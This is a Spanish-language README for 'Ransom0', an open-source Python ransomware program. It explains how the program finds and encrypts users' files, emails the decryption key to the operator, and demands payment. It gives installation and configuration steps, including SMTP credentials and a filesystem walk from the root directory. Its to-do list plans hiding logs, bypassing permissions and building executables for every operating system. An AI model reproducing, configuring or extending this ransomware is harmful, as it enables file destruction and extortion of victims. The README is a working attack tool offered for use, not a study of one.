Ransom0 es un programa de ransomware de código abierto hecho con Python, diseñado para encontrar y encriptar los datos de los usuarios. En lugar de un servidor real, la clave de encriptación será enviada por correo electrónico a tu buzón de correo.

Tabla de Contenido
Estructura del Programa
El programa está organizado en tres partes principales:
- Encontrar archivos: encontrar archivos por extensiones y almacenar la ruta en path.txt
- Cifrar archivos: cifrar archivos en path.txt, generar dígitos id, enviar clave e id
- Descifrar: pedir dinero, esperar la llave y descifrar el archivo si la llave es correcta.
Cómo Ejecutar
Necesitas tener python3 instalado y configurado
- Descarga el repositorio a través de git o zip
- Requisitos de instalación:
pip install -r requirements.txt
Antes de ejecutarlo, necesitas modificar algunas cosas:
- Agregar la información de tu correo electrónico:
# Email Settings
port = 587
smtp_server = "" # Enter the smtp server of your email provider
sender_email = "" # Enter your address
receiver_email = "" # Enter receiver address
password = "" # your email password
- Recomiendo ejecutarlo en un directorio de prueba, de lo contrario todos tus archivos será cifrados:
for root, dirs, files in os.walk("/"):
# for root, files in os.walk("/YOUR/TESTING/DIRECTORY"):
- Ejecuta:
python ransom0.py
Por Hacer
- Agregar registros
- Esconder los registros
- Permiso de Bypass
- Mostrar automáticamente el mensaje al inicio
- ¿Mensaje en una ventana GUI?
- Generar ejecutable desde el archivo .py para TODOS los sistemas operativos
- ¿Guardar la credencial de correo electrónico en los archivos?
Pruebas
Este programa ha sido probado:
- Windows 10
- Mac OS Catalina 10.15.6 (19G73)
https://github.com/HugoLB0/Ransom0